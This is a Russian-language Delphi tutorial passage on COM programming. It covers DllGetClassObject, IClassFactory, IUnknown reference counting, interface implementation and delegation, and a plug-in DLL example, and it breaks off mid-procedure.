function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall;
var
 Calc:MyCalc;
begin
 if GUIDToString(CLSID)<>'{2563AE40-AC27-11D6-A5C2-444553540000}' {GUID нашего класса}  then
 begin
   Result:=CLASS_E_CLASSNOTAVAILABLE;
   exit;
 end;
 Calc:=MyCalc.Create;
 if not Calc.GetInterface(IID,Obj) then
 begin
   Result:=E_NOINTERFACE;
   Calc.Free;
   exit;
 end;
 Result:=S_OK;
end;

exports
// Не забыть добавить в список экспорта!
  DllGetClassObject;

Итак, первой строчкой проверяем, является ли спрашевыемый индификатор класса(CLSID) индификатором нашего класса, который мы недавно придумали, с помощю Delphi, а далее как было раньше, пытаемся записать в переменную Obj указатель на интерфейс того интерфейса, GUID которого был нам передан в качестве параметра IID. Если такой интерфейс нашим классом не поддерживается, освобождаем объект и возвращаем ошибку. Если же все нормально, возвращаем S_OK, а в выходном параметре Obj будет находиться указатель на спрашиваемый интерфейс.

Так же перепишим в тестере процедуру, где мы создаем наш COM калькулятор - это TForm1.FormCreate:

procedure TForm1.FormCreate(Sender: TObject);
begin
 ICalcGUID:=StringToGUID('{149D0FC0-43FE-11D6-A1F0-444553540000}');
 ICalc2GUID:=StringToGUID('{D79C6DC0-44B9-11D6-A1F0-444553540000}');
 flag:=true;

 if СoCreateInstance(StringTOGUID('{2563AE40-AC27-11D6-A5C2-444553540000}'),nil,CLSCTX_INPROC_SERVER,ICalcGUID,Calc)=S_OK then
   Calc.SetOperands(10,5)
 else
 begin
   ShowMessage('Failed to create Calc');
   Close;
 end;
end;

Как вы видите, мы не загружаем здесь библиотеку в память, чтобы потом вызвать из нее соответсвующую функцию для создания объекта, а перепоручаем всю эту работу CoCreateInstance.
В качестве индификатора класса мы передаем GUID нашего класса, а в касечтве индификатора интерфейса передаем GUID интерфейса ICalc. Ну а сам указатель на интерфейс должен записаться в переменную Calc.

Ну все. Все готово, теперь все компилируем и запускаем... Объект не создается! CoCreateInstance возвращает REGDB_E_CLASSNOTREG - класс не зарегестрирован. Но на самом деле ошибка не в том, что класс не зарегестрирован. А в чем? Давайте пройдемся пошагово по нашей dll. Поставим брекпойнт на первую линию функции DllGetClassObject. Мы видим, что эта функция вызывается, что CLSID соответсвует GUID нашего класса, что сам объект создается, но что дальше? Метод GetInterface не находит спрашеваемого интерфейса! Посмотрите чему равен параметр IID и вы увидите, что он не равен GUID интерфейса ICalc, который мы передавали CoCreateInstance, а равен он вот такому значению: {00000001-0000-0000-C000-000000000046}. Можно заглянуть в реестр Windows, чтобы узнать, что интерфейс с таким GUID носит название IClassFactory. Что ж, выходит CoCreateInstance просит не тот интерфейс, который мы предаем ей как параметр. Microsoft не скрывает реализацию CoCreateInstance - это, на самом деле, всего лишь вспомогательная функция и делает она следующее (вольный перевод на Delphi):

function CoCreateInstance(const clsid: TCLSID;unkOuter: IUnknown;dwClsContext: Longint; const IID: TIID; out pv): HResult; stdcall;
var
  p:IClassFactory;
begin
  CoGetClassObject(CLSID, dwClsContext, nil, IClassFactory,p);
  Result = p.CreateInstance(unkOuter, IID, pv);
end;

Первой строчкой вызывается API функция CoGetClassObject, параметры у нее точно такие же как у CoCreateInstance, и как раз она является основной функцией - она находит библиотеку с классом и вызывает DllGetClassObject (опять же, это все для in-proc серверов). И как видите, она действительно просит интерфейс IClassFactory. Что бы понять, что делает следующая строчка, нужно рассмотреть еще один офицальный и широко известный интерфейс IClassFactory.


IClassFactory

Итак, IClassFactory предназначен для того, чтобы создавать экземпляры соответствующего класса. То есть строчкой:

  CoGetClassObject(Calc_CLSID, dwClsContext, nil, IClassFactory,p); //Calc_CLSID - GUID нашего калькулятора

мы должны получить интерфейс, с помощью которого мы сможем создавать сколь угодно много наших калькуляторов (конкретнее: экземпляров нашего класса MyCalc). Для этого вызывается метод этого интерфейса CreateInstance. Параметры у него до боли знакомые - они точно такие же как три последних параметра у СoCreateInstance или CoGetClassObject. CLSID уже не нужен, так как данный интерфейс принадлежит классу, который создает только объекты определенного класса - того CLSID которого мы указали в СoCreateInstance, который потом передался в CoGetClassObject и который наконец попал в DllGetClassObject.

Видете, тут довольно забавно получается - мы просим создать объект и выдать для этого объекта интерфейс IClassFactory, с помощью которого мы будем создавать эти же объекты. В принципе, мы совершаем лишнее действие, если собираемся создать только один объект, однако если мы хотим создать множество объектов, то такой путь более эффективен, чем многократный вызов CoCreateInstance или CoGetClassObject, поэтому он и был утвержден.

Чисто теоретически, мы можем сделать так (для нашего калькулятора):
var
  p:IClassFactory;
  Calc:ICalc;
begin
 //создаем объект (MyCalc) и получаем для него интерфейс IClassFactory
 CoGetClassObject(StringTOGUID('{2563AE40-AC27-11D6-A5C2-444553540000}'),nil,CLSCTX_INPROC_SERVER,IClassFactory,p);
 //получаем интерфейс ICalc
 p.QueryInterface(ICalcGUID,Calc);
end;

Ибо IClassFactory, как и любой интерфейс, является потомком IUnknown, и поддерживает метод QueryInterface (как AddRef и Release, который Delphi вызывает автоматически). Единственная загвоздка состоит в том, что несмотря на то, что этот интерфейс вроде должен пренадежать только что созданному объекту MyCalc, во многих реализациях он ему не пренадлежит. Ну у нас то, конечно, пока еще вообще никакой реализации нет, но если бы это делал кто-то другой, то возможно он бы реализовал DllGetClassObject так:

function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall;
var
 Calc:TObject;
begin
 if GUIDToString(CLSID)<>'{2563AE40-AC27-11D6-A5C2-444553540000}' {GUID нашего класса}  then
 begin
   Result:=CLASS_E_CLASSNOTAVAILABLE;
   exit;
 end;
 // если cпрашивается IClassFactory, то создаем класс-фабрику.
 if IID=IClassFactory then
   Calc:=CalcFactory.Create
 else
   Calc:=MyCalc.Create;
 if not Calc.GetInterface(IID,Obj) then
 begin
   Result:=E_NOINTERFACE;
   Calc.Free;
   exit;
 end;
 Result:=S_OK;
end;

То есть создается один экземпляр маленького класса CalcFactory, который ничего больше не умеет, кроме как создавать калькуляторы (экземпляры класса MyCalc). Естесственно, он поддерживает интерфейс IClassFactory. Такая реализация не редка и попытка получить у такого класса-фабрики интерфейс настоящего класса может закончится ошибкой.

Мы же давайте пойдем другим путем, и просто дополним наш класс интерфейсом IClassFactory. Для этого мы можем сами создать интерфейс IClassFactory, как мы раньше создавали ICalc и ICalc2, а можем воспользоваться готовым описанием, включив в uses библиотеку ActiveX. Так оно выглядит там:

  IClassFactory = interface(IUnknown)
    ['{00000001-0000-0000-C000-000000000046}']
    function CreateInstance(const unkOuter: IUnknown; const iid: TIID;
      out obj): HResult; stdcall;
    function LockServer(fLock: BOOL): HResult; stdcall;
  end;

Как видите, помимо CreateInstance здесь так же есть метод LockServer. Этот метод предназначен для того, чтобы гарантировать не уничтожение объекта. То есть поставили замок, и пока его не сняли, обект должен жить. Добавим и этот метод а наш класс.

 MyCalc=class(TObject,ICalc,ICalc2, IClassFactory)
   fx,fy:integer;
   FRefCount:integer;
 public
   constructor Create;
   procedure SetOperands(x,y:integer);
   function Sum:integer;
   function Diff:integer;
   function Divide:integer;
   function Mult:integer;
   procedure Release;
   function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
   function _AddRef:Longint; stdcall;
   function _Release:Longint; stdcall;

   //IClassFactory
   function CreateInstance(const unkOuter: IUnknown; const iid: TIID;out obj): HResult; stdcall;
   function LockServer(fLock: BOOL): HResult; stdcall;
 end;

Реализация:

 function MyCalc.CreateInstance(const unkOuter: IUnknown; const iid: TIID;out obj): HResult; stdcall;
 var
   Calc:MyCalc;
 begin
   Calc:=MyCalc.Create;
   if not Calc.GetInterface(IID,Obj) then
   begin
    Result:=E_NOINTERFACE;
    Calc.Free;
    exit;
   end;
   Result:=S_OK;
 end;

 function MyCalc.LockServer(fLock: BOOL): HResult; stdcall;
 begin
   if fLock then
     _AddRef
   else
     Release;
 end;

Реализация CreateInstance полностью идентична последним восми строчкам функции DllGetClassObject - просто создаем объект и возвращаем интерфейс, если мы его поддерживаем. С LockServer тоже все просто: если fLock=true тогда увеличиваем счетчик вызовом _AddRef, иначе уменьшаем его вызывая Release.

Ну теперь еще раз. Компилируем dll, тестер менять не надо, и запускаем... Свершилось! Наш калькулятор был создан системной функцией CoCreateInstance!


Delphi и COM (статья)

Создание Plug-In в виде COM-Сервера Введение и базовые понятия
Реализация интерфейсов
Интерфейсы и TComponent
COM-сервер, структура и использование
Создание COM-сервера
Создание приложения клиента
Создание Plug-In в виде COM-Сервера
Автоматическая регистрация серверов из своей программы
OLE Automation

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Введение и базовые понятия

Delphi и COM

Введение
COM (Component Object Model) или модель объектных компонентов – одна из основных технологий, на который основывается Windows. Более того, все новые технологии в Windows (Shell, Scripting, поддержка HTML и т.п.) реализуют свои API именно в виде COM интерфейсов. Таким образом, в настоящее время профессиональное программирование требует понимания модели COM и умения с ней работать. В этой главе мы рассмотрим основные понятия COM и особенности их поддержки в Delphi.

Базовые понятия
Основным понятием, на котором основана модель COM, является понятие интерфейса. Не имея четкого понимания о том, что такое интерфейс невозможно успешное программирование COM-объектов. Главными понятиями являются интерфейс и реализация интерфейса.

Интерфейс
Интерфейс является контрактом, между программистом и компилятором.
Программист – обязуется реализовать все методы, описанные в интерфейсе и следовать требованиям на реализацию некоторых их них.
Компилятор – обязуется создать в программе внутренние структуры, позволяющие обращаться к методам этого интерфейса из любого поддерживающего те же соглашения средства программирования. Таким образом, COM является языково-независимой технологией и может использоваться в качестве «клея», соединяющего программы, написанные на разных языках.
Объявление интерфейса включает в себя описание методов и их параметров, но не включает их реализации. Кроме этого, в объявлении может указываться идентификатор интерфейса – уникальное 16-байтовое число, сгенерированное по специальным правилам, гарантирующим его статистическую уникальность (GUID – global unique identifier).
Интерфейсы могут наследоваться. Наследование интерфейсов – это декларация, указывающая, что унаследованный интерфейс должен включать в себя все методы предка.
Таким образом, необходимо понимать, что:
Интерфейс – это не класс.
Класс может выступать реализацией интерфейса, но класс содержит код методов на конкретном языке программирования, а интерфейс – нет.
Интерфейс строго типизирован.
Как клиент, так и реализация интерфейса должны использовать точно те же методы и параметры, как указано в описании интерфейса.
Интерфейс является неизменным контрактом.
Вы не должны определять новой версии того же интерфейса с измененным набором методов (или их параметров), но с тем же идентификатором. Это гарантирует, что новые интерфейсы никогда не конфликтуют со старыми. Если Вы нуждаетесь в расширении функциональности, Вы должны определить новый интерфейс, возможно являющийся наследником старого и реализовать дополнительные методы в нем.
Реализация интерфейса – это непосредственно код, который реализует эти методы. При этом за несколькими исключениями, не накладывается никаких ограничений на то, каким образом будет выглядеть реализация. Физически реализация представляет собой массив указателей на методы, адрес которого и используется в клиенте для доступа к COM-объекту. Любая реализация интерфейса имеет метод QueryInterface, позволяющий запросить ссылку на конкретный интерфейс из числа реализуемых.

Автоматическое управление памятью и подсчет ссылок
Кроме предоставления независимого от языка программирования доступа к методам объектов COM реализует автоматическое управление памятью для COM-объектов. Оно основано на идее подсчета ссылок на объект. Любой клиент, желающий использовать COM объект после его создания должен вызвать заранее предопределенный метод, который увеличивает внутренний счетчик ссылок на объект на единицу. По завершении использования объекта клиент вызывает другой его метод, уменьшающий значение этого же счетчика. При достижении счетчиком ссылок нулевого значения COM-объект автоматически удаляет себя из памяти. Такая модель позволяет клиентам не вдаваться в подробности реализации объекта, а объекту – обслуживать несколько клиентов и корректно очистить память по завершении работы с последним из них.

Объявление интерфейсов
Для поддержки интерфейсов Delphi расширяет синтаксис языка Pascal дополнительными ключевыми словами. Объявление интерфейса в Delphi реализуется ключевым словом interface

type
  IMyInterface = interface
  ['{412AFF00-5C21-11D4-84DD-C8393F763A13}']
    procedure DoSomething(var I: Integer); stdcall;
    function DoSomethingAnother(S: String): Boolean;
  end;

  IMyInterface2 = interface(IMyInterface)
  ['{412AFF01-5C21-11D4-84DD-C8393F763A13}']
    procedure DoAdditional(var I: Integer); stdcall;
  end;

Для генерации нового значения GUID в IDE Delphi служит сочетание клавиш Ctrl+Shift+G.
IUnknown
Базовым интерфейсом в модели COM является IUnknown. Любой интерфейс наследуется от IUnknown и обязан реализовать объявленные в нем методы. IUnknown объявлен в модуле System.pas следующим образом:

type
  IUnknown = interface
    ['{00000000-0000-0000-C000-000000000046}']
    function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
    function _AddRef: Integer; stdcall;
    function _Release: Integer; stdcall;
  end;

Рассмотрим назначение методов IUnknown более подробно.
Последние два метода предназначены для реализации механизма подсчета ссылок.

function _AddRef: Integer; stdcall;

Эта функция должна увеличить счетчик ссылок на интерфейс на 1 и вернуть новое значение счетчика.

function _Release: Integer; stdcall;

Эта функция должна уменьшить счетчик ссылок на интерфейс на 1 и вернуть новое значение счетчика. При достижении счетчиком значения 0 она должна освободить память, занятую реализацией интерфейса.
Первый метод позволяет получить ссылку на реализуемый классом интерфейс.

function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;

Эта функция получает в качестве входного параметра идентификатор интерфейса. Если объект реализует запрошенный интерфейс, то функция:
· возвращает ссылку на него в параметрt Obj
· вызывает метод _AddRef полученного интерфейса
· возвращает 0
В противном случае, функция возвращает код ошибки E_NOINTERFACE.
В принципе, конкретная реализация может наполнить эти методы какой-либо другой, отличающейся от стандартной функциональностью, однако в этом случае интерфейс будет несовместим с моделью COM, поэтому делать этого не рекомендуется.
В модуле System.pas объявлен класс TInterfacedObject, реализующий IUnknown и его методы. Рекомендуется использовать этот класс для создания реализаций своих интерфейсов.
Кроме этого, поддержка интерфейсов реализована в базовом классе TObject. Он имеет метод

function TObject.GetInterface(const IID: TGUID; out Obj): Boolean;
Если класс реализует запрошенный интерфейс, то функция:
· возвращает ссылку на него в параметрt Obj
· вызывает метод _AddRef полученного интерфейса
· возвращает TRUE
В противном случае, функция возвращает FALSE.
Таким образом, имеется возможность запросить у любого класса Delphi реализуемый им интерфейс Подробнее использование этой функции будет рассмотрено ниже.


Реализация интерфейсов

Реализацией интерфейса в Delphi всегда выступает класс. Для этого в объявлении класса необходимо указать, какие интерфейсы он реализует.

type
  TMyClass = class(TComponent, IMyInterface, IDropTarget)
    // Реализация методов
  end;

Класс TMyClass реализует интерфейсы IMyInterface и IDropTarget. Необходимо понимать, что реализация классом нескольких интерфейсов не означает множественного наследования и вообще наследования класса от интерфейса. Указание интерфейсов в описании класса означает лишь то, что в данном классе реализованы все эти интерфейсы.
Класс должен иметь методы, точно соответствующие по именам и спискам параметров всем методам всех объявленных в его заголовке интерфейсов.
Рассмотрим более подробный пример.

type
  ITest = interface
  ['{61F26D40-5CE9-11D4-84DD-F1B8E3A70313}']
    procedure Beep;
  end;

  TTest = class(TInterfacedObject, ITest)
    procedure Beep;
    destructor Destroy; override;
  end;
…
procedure TTest.Beep;
begin
  Windows.Beep(0,0);
end;

destructor TTest.Destroy;
begin
  inherited;
  MessageBox(0, 'TTest.Destroy', NIL, 0);
end;

Здесь класс TTest реализует интерфейс ITest. Рассмотрим использование интерфейса из программы.

procedure TForm1.Button1Click(Sender: TObject);
var
  Test: ITest;
begin
  Test := TTest.Create;
  Test.Beep;
end;

Данный код выглядит довольно странно, поэтому остановимся на нем подробнее.
Во-первых – оператор присваивания при приведении типа данных к интерфейсу неявно вызывает метод _AddRef. При этом количество ссылок на интерфейс увеличивается на 1.
Во-вторых – код не содержит никаких попыток освободить память, выделенную под объект TTest. Тем не менее, если выполнить эту программу, то на экран будет выведено сообщение о том, что деструктор был вызван. Это происходит потому, что при выходе переменной, ссылающейся на интерфейс за область видимости (либо, при присвоении ей другого значения) компилятор Delphi генерирует код для вызова метода _Release, информируя реализацию о том, что ссылка на неё больше не нужна.
! Если у класса запрошен хотя бы один интерфейс – не вызывайте его метод Free (или Destroy). Класс будет освобожден тогда, когда отпадет необходимость в последней ссылке на его интерфейсы. Если Вы к этому моменту уничтожили экземпляр класса вручную – произойдет ошибка доступа к памяти
Так, следующий код приведет к ошибке в момент выхода из функции:

var
  Test: ITest;
  T: TTest;
begin
  T := TTest.Create;
  Test := T;
  Test.Beep;
  T.Free;
end;   // в этот момент произойдет ошибка

Если вы хотите уничтожить реализацию интерфейса немедленно, не дожидаясь выхода переменной за область видимости – просто присвойте ей значение NIL

var
  Test: ITest;
  T: TTest;
begin
  T := TTest.Create;
  Test := T;
  Test.Beep;
  Test := NIL;  // Неявно вызывается IUnknown._Release;
end;

Обратите особое внимание, что вызовы методов IUnknown осуществляются Delphi неявно и автоматически. Поэтому – не вызывайте методов IUnknown самостоятельно. Это может нарушить нормальную работу автоматического подсчета ссылок и привести к не освобождению памяти, либо нарушениям защиты памяти при работе с интерфейсами. Во избежание этого – необходимо просто помнить, что:
1. При приведении типа объекта к интерфейсу, вызывается метод _AddRef.
2. При выходе переменной, ссылающейся на интерфейс за область видимости, либо при присвоении ей другого значения вызывается метод _Release
3. Единожды запросив у объекта интерфейс, Вы в дальнейшем не должны освобождать объект вручную. Лучше вообще, начиная с этого момента работать с объектом только через интерфейсные ссылки.

В рассмотренных примерах код для получения интерфейса у класса генерировался (с проверкой типов) на этапе компиляции. Если класс не реализует требуемого интерфейса, то программа не откомпилируется. Однако, существует возможность запросить интерфейс и во время выполнения программы. Для этого служит оператор as, который вызывает QueryInterface и, в случае успеха, возвращает ссылку на полученный интерфейс. В противном случае генерируется исключение.
Например, следующий код будет успешно откомпилирован, но вызовет ошибку «Interface not supported» при выполнении:

var
  Test: ITest;
begin
  Test := TInterfacedObject.Create as ITest;
  Test.Beep;
end;
В то же время код:
var
  Test: ITest;
begin
  Test := TTest.Create as ITest;
  Test.Beep;
end;

Будет успешно компилироваться и исполняться.

Реализация интерфейсов – расширенное рассмотрение

Рассмотрим вопросы реализации интерфейсов подробнее.
Объявим два интерфейса:
type
  ITest = interface
  ['{61F26D40-5CE9-11D4-84DD-F1B8E3A70313}']
    procedure Beep;
  end;

  ITest2 = interface
  ['{61F26D42-5CE9-11D4-84DD-F1B8E3A70313}']
    procedure Beep;
  end;

Теперь создадим класс, который будет реализовывать оба этих интерфейса

  TTest2 = class(TInterfacedObject, ITest, ITest2)
    procedure Beep1;
    procedure Beep2;
    procedure ITest.Beep = Beep1;
    procedure ITest2.Beep = Beep2;
  end;

Как видно, класс не может содержать сразу двух методов Beep. Поэтому, Delphi предоставляет способ для разрешения конфликтов имен, позволяя явно указать какой метод класса будет служить реализацией соответствующего метода интерфейса.
Если реализация методов TTest2.Beep1 и TTest2.Beep2 идентична, то можно не создавать двух разных методов, а объявить класс следующим образом:

  TTest2 = class(TInterfacedObject, ITest, ITest2)
    procedure MyBeep;
    procedure ITest.Beep = MyBeep;
    procedure ITest2.Beep = MyBeep;
  end;

При реализации классов, поддерживающих множество интерфейсов и много методов может оказаться удобным делегировать реализацию некоторых их них дочерним классам. Рассмотрим пример класса, реализующего два интерфейса:

type
  TBeeper = class
    procedure Beep;
  end;

  TMessager = class
    procedure ShowMessage(const S: String);
  end;

  TTest3 = class(TInterfacedObject, ITest, IAnotherTest)
  private
    FBeeper: TBeeper;
    FMessager: TMessager;
    property Beeper: TBeeper read FBeeper implements ITest;
    property Messager: TMessager read FMessager implements IAnotherTest;
  public
    constructor Create;
    destructor Destroy; override;
  end;

Для делегирования реализации интерфейса другому классу служит ключевое слово implements

{ TBeeper }
procedure TBeeper.Beep;
begin
  Windows.Beep(0,0);
end;

{ TMessager }
procedure TMessager.ShowMessage(const S: String);
begin
  MessageBox(0, PChar(S), NIL, 0);
end;

{ TTest3 }
constructor TTest3.Create;
begin
  inherited;
  // Создаем экземпляры дочерних классов
  FBeeper := TBeeper.Create;
  FMessager := TMessager.Create;
end;

destructor TTest3.Destroy;
begin
  // Освобождаем экземпляры дочерних классов
  FBeeper.Free;
  FMessager.Free;
  inherited;
end;

Такой подход позволяет разбить реализацию сложного класса на несколько простых, что упрощает программирование и повышает модульность программы.
Обращаться к полученному классу можно точно так же, как и к любому классу, реализующему интерфейсы:

var
  Test: ITest;
  Test2: IAnotherTest;
begin
  Test2 := TTest3.Create;
  Test2.ShowMessage('Hi');
  Test := Test2 as ITest;
  Test.Beep;
end;


Интерфейсы и TComponent

В базовом классе VCL TComponent имеется полный набор методов, позволяющих реализовать интерфейс IUnknown, хотя сам класс не реализует этого интерфейса. Это позволяет наследникам TComponent реализовывать интерфейсы не заботясь о реализации IUnknown. Однако, методы TComponent._AddRef и TComponent._Release на этапе выполнения программы не реализуют механизма подсчета ссылок, и, соответственно, для классов-наследников TComponent, реализующих интерфейсы не действует автоматическое управление памятью. Это позволяет запрашивать у них интерфейсы не опасаясь, что объект будет удален из памяти при выходе переменной за область видимости. Таким образом, следующий код совершенно корректен и безопасен:

type
  IGetData = interface
  ['{B5266AE0-5E77-11D4-84DD-9153115ABFC3}']
    function GetData: String;
  end;

  TForm1 = class(TForm, IGetData)
  private
    function GetData: String;
  end;
…
var
  I: Integer;
  GD: IGetData;
  S: String;
begin
  S := '';
  for I := 0 to Pred(Screen.FormCount) do begin
    if Screen.Forms[I].GetInterface(IGetData, GD) then
      S := S + GD.GetData + #13;
  end;
  ShowMessage(S);
end;

Этот код проверяет наличие у всех форм в приложении реализации интерфейса IGetData и, если форма реализует этот интерфейс – вызывает его метод.

Использование интерфейсов внутри программы.
Рассмотренное выше поведение TComponent позволяет строить просто и не теряя строгой типизации связывать компоненты приложения и единообразно вызывать их методы не требуя, чтобы компоненты были унаследованы от общего предка. Достаточно лишь реализовать в компоненте интерфейс, а в вызывающей программе – проверить его наличие.
Рассмотрим, в качестве примера, MDI приложение, имеющее много различных форм и единую панель инструментов. Предположим, что на этой панели инструментов имеются команды «Сохранить», «Загрузить» и «Очистить», однако, каждое из окон реагирует на эти команды по-разному.
Создадим модуль с объявлениями интерфейсов

unit ToolbarInterface;

interface

type
  TCommandType = (ctSave, ctLoad, ctClear);
  TCommandTypes = set of TCommandType;
  TSaveType = (stSave, stSaveAS);

  IToolBarCommands = interface
  ['{B5266AE1-5E77-11D4-84DD-9153115ABFC3}']
    function SupportedCommands: TCommandTypes;
    function Save(AType: TSaveType): Boolean;
    procedure Load;
    procedure Clear;
  end;

implementation

end.

Интерфейс IToolBarCommands описывает набор методов, которые должны реализовать поддерживающие работу с панелью кнопок формы. Метод SupportedCommands возвращает список поддерживаемых формой команд
Создадим три дочерние формы Form2, Form3 и Form4, установим им свойство FormStyle = fsMDIChild.
Form2 умеет выполнять все три команды

type
  TForm2 = class(TForm, IToolBarCommands)
  private
    function SupportedCommands: TCommandTypes;
    function Save(AType: TSaveType): Boolean;
    procedure Load;
    procedure Clear;
  end;

{ TForm2 }
procedure TForm2.Clear;
begin
  ShowMessage('TForm2.Clear');
end;

procedure TForm2.Load;
begin
  ShowMessage('TForm2.Load');
end;

function TForm2.Save(AType: TSaveType): Boolean;
begin
  ShowMessage('TForm2.Save');
  Result := TRUE;
end;

function TForm2.SupportedCommands: TCommandTypes;
begin
  Result := [ctSave, ctLoad, ctClear]
end;

Form3 умеет выполнять только команду Clear

type
  TForm3 = class(TForm, IToolBarCommands)
  private
    function SupportedCommands: TCommandTypes;
    function Save(AType: TSaveType): Boolean;
    procedure Load;
    procedure Clear;
  end;

{ TForm3 }
procedure TForm3.Clear;
begin
  ShowMessage('TForm3.Clear');
end;

procedure TForm3.Load;
begin
  // Метод ничего не делает, но должен присутствовать
  // для корректной реализации интерфейса
end;

function TForm3.Save(AType: TSaveType): Boolean;
begin
end;

function TForm3.SupportedCommands: TCommandTypes;
begin
  Result := [ctClear]
end;

И, наконец, Form4 вообще не реализует интерфейса IToolBarCommands и не умеет откликаться ни на одну команду
На главной форме приложения поместим ActionList и создадим три компонента TAction. Также разместим на ней TToolBar и назначим её кнопкам соответствующие TAction.

type
  TForm1 = class(TForm)
    ToolBar1: TToolBar;
    ImageList1: TImageList;
    ActionList1: TActionList;
    acLoad: TAction;
    acSave: TAction;
    acClear: TAction;
    tbSave: TToolButton;
    tbLoad: TToolButton;
    tbClear: TToolButton;
    procedure acLoadExecute(Sender: TObject);
    procedure ActionList1Update(Action: TBasicAction;
      var Handled: Boolean);
    procedure acSaveExecute(Sender: TObject);
    procedure acClearExecute(Sender: TObject);
  end;

Наиболее интересен метод ActionList1Update, в котором проверяются поддерживаемые активной формой команды и настраивается интерфейс главной формы. Если нет активной дочерней формы, либо она не поддерживает интерфейс IToolBarCommands, все команды запрещаются, в противном случае – разрешаются только поддерживаемые формой команды.

procedure TForm1.ActionList1Update(Action: TBasicAction;
  var Handled: Boolean);
var
  Supported: TCommandTypes;
  TC: IToolBarCommands;
begin
  if Assigned(ActiveMDIChild)
     and ActiveMDIChild.GetInterface(IToolBarCommands, TC) then
    Supported := TC.SupportedCommands
  else
    Supported := [];
  acSave.Enabled := ctSave in Supported;
  acLoad.Enabled := ctLoad in Supported;
  acClear.Enabled := ctClear in Supported;
end;

При активизации команд проверяется наличие активной дочерней формы, у неё запрашивается интерфейс IToolBarCommands и вызывается соответствующий его метод

procedure TForm1.acLoadExecute(Sender: TObject);
var
  TC: IToolBarCommands;
begin
  if Assigned(ActiveMDIChild)
     and ActiveMDIChild.GetInterface(IToolBarCommands, TC) then
    TC.Load;
end;

procedure TForm1.acSaveExecute(Sender: TObject);
var
  TC: IToolBarCommands;
begin
  if Assigned(ActiveMDIChild)
     and ActiveMDIChild.GetInterface(IToolBarCommands, TC) then
    if not TC.Save(stSaveAS) then
      ShowMessage('Not Saved !!!');
end;

procedure TForm1.acClearExecute(Sender: TObject);
var
  TC: IToolBarCommands;
begin
  if Assigned(ActiveMDIChild)
     and ActiveMDIChild.GetInterface(IToolBarCommands, TC) then
    TC.Clear;
end;

Работа программы представлена на рисунке.

Того же эффекта можно добиться и другими методами (например, унаследовав все дочерние формы от единого предка, либо обмениваясь с ними сообщениями), однако эти методы имеют ряд существенных недостатков.
Так, при обмене сообщениями мы теряем строгую типизацию и вынуждены передавать параметры через целые числа, а при визуальном наследовании мы привязываем себя к родительскому классу, что не всегда удобно. К тому же можно определить множество интерфейсов и реализовывать в каждой из дочерних форм лишь необходимые, а в случае с наследованием все формы должны будут реализовывать все общие методы.
Использование интерфейсов для реализации Plug-In
Еще более удобно использовать интерфейсы для реализации модулей расширения программы (Plug-In). Как правило такой модуль экспортирует ряд известных главной программе методов, которые могут быть вызваны из него. В то же время, часто ему нужно обращаться к каким-либо функциям вызывающей программы. И то и другое удобно реализуется при помощи интерфейсов.
В качестве примера, реализуем несложную программу, использующую Plug-In для загрузки данных.
Объявим интерфейсы модуля расширения и внутреннего API программы.

unit PluginInterface;

interface

type
  IAPI = interface
  ['{64CFF1E0-61A3-11D4-84DD-B18D6F94141F}']
    procedure ShowMessage(const S: String);
  end;

  ILoadFilter = interface
  ['{64CFF1E1-61A3-11D4-84DD-B18D6F94141F}']
    procedure Init(const FileName: String; API: IAPI);
    function GetNextLine(var S: String): Boolean;
  end;

implementation

end.

Этот модуль должен использоваться как в Plug-In, так и в основной программе и гарантирует использование ими идентичных интерфейсов.
Plug-In представляет собой DLL, экспортирующую функцию CreateFilter, возвращающую ссылку на интерфейс ILoadFilter. Главный модуль сначала должен вызвать метод Init, передав в него имя файла и ссылку на интерфейс внутреннего API, а затем вызывает метод GetNextLine до тех пор, пока он не вернет FALSE.
Рассмотрим код модуля расширения:

library ImpTxt;

uses
  ShareMem, SysUtils, Classes, PluginInterface;

{$R *.RES}

type
  TTextFilter = class(TInterfacedObject, ILoadFilter)
  private
    FAPI: IAPI;
    F: TextFile;
    Lines: Integer;
    InitSuccess: Boolean;
    procedure Init(const FileName: String; API: IAPI);
    function GetNextLine(var S: String): Boolean;
  public
    destructor Destroy; override;
  end;
{ TTextFilter }

procedure TTextFilter.Init(const FileName: String; API: IAPI);
begin
  FAPI := API;
  {$I-}
  AssignFile(F, FileName);
  Reset(F);
  {$I+}
  InitSuccess := IOResult = 0;
  if not InitSuccess then
    API.ShowMessage('Ошибка инициализации загрузки');
end;

Метод Init выполняет две задачи: сохраняет ссылку на интерфейс API главного модуля для дальнейшего использования и пытается открыть файл с данными. Если файл открыт успешно – выставляется внутренний флаг InitSuccess

function TTextFilter.GetNextLine(var S: String): Boolean;
begin
  if InitSuccess then begin
    Inc(Lines);
    Result := not Eof(F);
    if Result then begin
      Readln(F, S);
      FAPI.ShowMessage('Загружено ' + IntToStr(Lines) + ' строк.');
    end;
  end else
    Result := FALSE;
end;

Метод GetNextLine считывает следующую строку данных и возвращает TRUE, если это удалось, либо FALSE, в случае окончания файла. Кроме этого, он при помощи API, предоставляемого главным модулем информирует пользователя о ходе загрузки.

destructor TTextFilter.Destroy;
begin
  FAPI := NIL;
  if InitSuccess then
    CloseFile(F);
  inherited;
end;

В деструкторе мы обнуляем ссылку на API главного модуля, уничтожая его .и закрываем файл.

function CreateFilter: ILoadFilter;
begin
  Result := TTextFilter.Create;
end;

Эта функция создает экземпляр класса, реализующего интерфейс ILoadFilter. Ссылок на экземпляр сохранять не нужно, он будет освобожден автоматически.

exports
  CreateFilter;  // Функция должна быть экспортирована из DLL

begin
end.

Теперь полученную DLL можно использовать из основной программы.

type
  TAPI = class(TInterfacedObject, IAPI)
    procedure ShowMessage(const S: String);
  end;

{ TAPI }
procedure TAPI.ShowMessage(const S: String);
begin
  with (Application.MainForm as TForm1).StatusBar1 do begin
    SimpleText := S;
    Update;
  end;
end;

Класс TAPI реализует API, предоставляемый модулю расширения. Функция ShowMessage выводит сообщения модуля в Status Bar главной формы приложения.

type
  TCreateFilter = function: ILoadFilter;

procedure TForm1.LoadData(FileName: String);
var
  PluginName: String;
  Ext: String;
  hPlugIn: THandle;
  CreateFilter: TCreateFilter;
  Filter: ILoadFilter;
  S: String;
begin

Подготавливаем TMemo к загрузке данных

  Memo1.Lines.Clear;
  Memo1.Lines.BeginUpdate;

